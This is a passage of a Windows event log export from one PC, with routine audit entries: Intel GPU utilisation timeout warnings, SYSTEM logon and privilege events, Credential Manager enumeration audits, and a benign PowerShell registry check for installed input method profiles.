08:40:26.988\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:27.434\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:28.220\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:32.865\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:33.093\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:33.698\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.698\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.737\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.737\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.737\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.757\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.757\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.757\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:34.604\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:34.605\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:34.609\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:34.609\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:37.434\t800\tMaintenance state changed to 3 (Last Run: \u200e05.\u200e09.\u200e2026 8:40).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:40:37.474\t800\tMaintenance state changed to 1 (Last Run: \u200e05.\u200e09.\u200e2026 8:40).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:40:40.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:44.880\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:40:55.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:03.721\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:41:03.721\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:41:04.024\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:04.246\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:04.475\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:04.910\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:05.134\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:05.243\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:05.467\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:05.914\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:06.140\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:06.252\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:06.358\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:06.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:07.072\t4009\tDcSvc: Service status updated. Current state: (0x3), Exit code: (0x0), Wait hint: (0x0).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:41:07.074\t4009\tDcSvc: Service status updated. Current state: (0x1), Exit code: (0x0), Wait hint: (0x0).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:41:07.608\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:36.784\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:36.990\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, NetAdapterCim, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:41:37.102\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:37.431\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:37.642\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:37.866\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:38.088\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:40.204\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:40.977\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:41.628\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:42.517\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:44.079\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:44.741\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:44.905\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:41:48.969\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:49.638\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:50.533\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:51.748\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:52.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:52.744\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:53.862\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:55.778\t40961\tPowerShell console is starting up\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:55.817\t53504\tWindows PowerShell has started an IPC listening thread on process: 11000 in AppDomain: DefaultAppDomain.\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:55.834\t600\t\"Provider \"\"Registry\"\" is Started. \n\nDetails: \n\tProviderName=Registry\n\tNewProviderState=Started\n\n\tSequenceNumber=1\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.835\t600\t\"Provider \"\"Alias\"\" is Started. \n\nDetails: \n\tProviderName=Alias\n\tNewProviderState=Started\n\n\tSequenceNumber=3\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.835\t600\t\"Provider \"\"Environment\"\" is Started. \n\nDetails: \n\tProviderName=Environment\n\tNewProviderState=Started\n\n\tSequenceNumber=5\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n 